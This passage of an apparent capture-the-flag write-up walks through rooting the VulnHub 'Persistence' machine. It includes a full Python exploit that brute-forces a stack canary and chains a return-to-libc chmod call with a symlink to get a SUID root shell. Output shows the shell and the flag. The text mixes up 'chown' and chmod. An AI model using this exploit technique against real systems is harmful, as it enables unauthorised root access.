['\xab', 't', '?', '\xdc']
[+] yeah, I don't think so
[+] yeah, I don't think so

Great! It's worth noting here, I spent a fair bit of time trying to use system and execv to get a shell, but in the end failed to achieve my goal. Undeterred, I went down a different route, and decided to use chown instead.

First of all, I get the address for the 'chown' method.

bash-4.1$ SHELL=/bin/bash gdb -q /usr/local/bin/wopr
Reading symbols from /usr/local/bin/wopr...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x80487e7
Starting program: /usr/local/bin/wopr

Temporary breakpoint 1, 0x080487e7 in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686
(gdb) print chmod
$1 = {<text variable, no debug info>} 0x203230 <chmod>

Now, I need a path that I can control, for which there is a reference to in this binary. Looking at the source, there is the hard coded path for the file '/tmp/log'. This file does not exist - perfect. Time to get its address.

(gdb) info proc mappings
process 2619
cmdline = '/usr/local/bin/wopr'
cwd = '/home/avida'
exe = '/usr/local/bin/wopr'
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
      0x110000   0x12e000    0x1e000          0      /lib/ld-2.12.so
      0x12e000   0x12f000     0x1000    0x1d000      /lib/ld-2.12.so
      0x12f000   0x130000     0x1000    0x1e000      /lib/ld-2.12.so
      0x130000   0x131000     0x1000          0           [vdso]
      0x131000   0x2c2000   0x191000          0      /lib/libc-2.12.so
      0x2c2000   0x2c4000     0x2000   0x191000      /lib/libc-2.12.so
      0x2c4000   0x2c5000     0x1000   0x193000      /lib/libc-2.12.so
      0x2c5000   0x2c8000     0x3000          0        
     0x8048000  0x8049000     0x1000          0        /usr/local/bin/wopr
     0x8049000  0x804a000     0x1000          0        /usr/local/bin/wopr
     0x804a000  0x804b000     0x1000     0x1000        /usr/local/bin/wopr
    0xb7ff9000 0xb7ffa000     0x1000          0        
    0xb7fff000 0xb8000000     0x1000          0        
    0xbffeb000 0xc0000000    0x15000          0           [stack]

(gdb) find 0x8048000,0x8049000,"/tmp/log"
0x8048c60 <__dso_handle+80>
1 pattern found.

Cool beans. So, my thinking was as follows.

  • Create the file /tmp/log as a symlink to /usr/local/bin/checksrv.sh
  • Execute shellcode to chown this to allow full read, write, execute access, including SUID and GID bits
  • Copy /bin/dash to /usr/local/bin/checksrv.sh
  • Execute the same shellcode again, to restore the SUID and GID bits
  • Execute /tmp/log to gain a root shell

Here's the final exploit script.

from pwn import *

canary_offset = 30
canary_length = 4
canary = []

context.log_level = 'error'
host = '127.0.0.1'
while len(canary)<4:
        for i in range(0,256):
                print'Canary byte %s - trying chr(%s)'%(len(canary)+1,i)
                payload = 'A' * canary_offset
                payload += ''.join(canary)
                payload += chr(i)
                r = remote(host, 3333)
                r.recvuntil('> ')
                r.send(payload)
                data = r.recvall()
                if 'bye' in data:
                        canary.append(chr(i))
                        break

raw_input('Create symlink: ln -s /usr/local/bin/checksrv.sh /tmp/log\nPress enter when complete')
payload = 'A' * canary_offset
payload += ''.join(canary)
payload += struct.pack('I', 0xdeadbeef) # padding
payload += struct.pack('I', 0x203230) # chmod address
payload += struct.pack('I', 0xdeafbeef) # return address
payload += struct.pack('I', 0x8048c60) # address to /tmp/log string
payload += struct.pack('I', 0xfff) # file mode (suid+rwx)

r = remote(host, 3333)
r.recvuntil('> ')
r.send(payload)
data = r.recvall()

raw_input('Copy dash to /usr/local/bin/checksrv.sh: cp /bin/dash /usr/local/bin/checksrv.sh\nPress enter when complete')
r = remote(host, 3333)
r.recvuntil('> ')
r.send(payload)
data = r.recvall()

print 'Run /usr/local/bin/checksrv.sh for root dash shell'

And here it is in action..

First of all, before the exploit.

-rbash-4.1$ ls -alh /usr/local/bin
total 20K
drwxr-xr-x.  2 root root 4.0K May 27  2014 .
drwxr-xr-x. 11 root root 4.0K Jan 21  2014 ..
-rwxr-xr-x.  1 root root  115 Apr 28  2014 checksrv.sh
-rwxr-xr-x.  1 root root 7.7K Apr 28  2014 wopr

Now, I execute my script and wait for the canary to be bruteforced.

python canary.py
Canary byte 1 - trying chr(0)
Canary byte 2 - trying chr(0)
Canary byte 2 - trying chr(1)
Canary byte 2 - trying chr(2)
Canary byte 2 - trying chr(3)
Canary byte 2 - trying chr(4)
Canary byte 2 - trying chr(5)
Canary byte 2 - trying chr(6)
Canary byte 2 - trying chr(7)
Canary byte 2 - trying chr(8)
Canary byte 2 - trying chr(9)
Canary byte 2 - trying chr(10)
...
Canary byte 4 - trying chr(90)
Canary byte 4 - trying chr(91)
Canary byte 4 - trying chr(92)
Canary byte 4 - trying chr(93)
Canary byte 4 - trying chr(94)
Create symlink: ln -s /usr/local/bin/checksrv.sh /tmp/log
Press enter when complete

Next, on the target I create my symlink, as instructed.

bash-4.1$ /bin/ln -s /usr/local/bin/checksrv.sh /tmp/log
bash-4.1$ ls -lah /tmp/log
lrwxrwxrwx. 1 avida avida 26 Nov 24 13:36 /tmp/log -> /usr/local/bin/checksrv.sh

I hit enter on my test machine..

Copy dash to /usr/local/bin/checksrv.sh: cp /bin/dash /usr/local/bin/checksrv.sh
Press enter when complete

Back to the target machine, I copy /bin/dash to /usr/local/bin/checksrv.sh

bash-4.1$ cp /bin/dash /usr/local/bin/checksrv.sh

Back to my test machine once more, I hit enter..

Run /usr/local/bin/checksrv.sh for root dash shell

Finally, back to the target machine to execute /usr/local/bin/checksrv.sh for my dash shell

bash-4.1$ ls -lah /usr/local/bin/checksrv.sh
-rwsrwsrwt. 1 root root 95K Nov 24 13:38 /usr/local/bin/checksrv.sh
bash-4.1$ /usr/local/bin/checksrv.sh

# id
uid=500(avida) gid=500(avida) euid=0(root) egid=0(root) groups=0(root),500(avida) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Time to get our flag!

# ls -alh /root
total 56K
dr-xr-x---.  3 root root 4.0K Aug 21  2014 .
dr-xr-xr-x. 22 root root 4.0K Nov 24 12:51 ..
-rw-------.  1 root root 1.1K Jan 21  2014 anaconda-ks.cfg
-rw-------.  1 root root    0 Aug 21  2014 .bash_history
-rw-r--r--.  1 root root   18 May 20  2009 .bash_logout
-rw-r--r--.  1 root root  189 Apr 26  2014 .bash_profile
-rw-r--r--.  1 root root  197 Apr 26  2014 .bashrc
-rw-r--r--.  1 root root  100 Sep 22  2004 .cshrc
-r--------.  1 root root  669 Aug 21  2014 flag.txt
-rw-r--r--.  1 root root 8.3K Jan 21  2014 install.log
-rw-r--r--.  1 root root 3.3K Jan 21  2014 install.log.syslog
drwxr-----.  3 root root 4.0K Mar 11  2014 .pki
-rw-r--r--.  1 root root  129 Dec  3  2004 .tcshrc
# cat /root/flag.txt
              .d8888b.  .d8888b. 888    
             d88P  Y88bd88P  Y88b888    
             888    888888    888888    
888  888  888888    888888    888888888
888  888  888888    888888    888888    
888  888  888888    888888    888888    
Y88b 888 d88PY88b  d88PY88b  d88PY88b.  
 "Y8888888P"  "Y8888P"  "Y8888P"  "Y888

Congratulations!!! You have the flag!

We had a great time coming up with the
challenges for this boot2root, and we
hope that you enjoyed overcoming them.

Special thanks goes out to @VulnHub for
hosting Persistence for us, and to
@recrudesce for testing and providing
valuable feedback!

Until next time,
      sagi- & superkojiman

Conclusion

Gaining my first 'shell' via ping was awesome, and the binary exploitation step (using chown) was an interesting solution, instead of the usual system / execv / shellcode method.

Over all, a really enjoyable machine!

Thank you Sagi and superkojiman, and thank you VulnHub.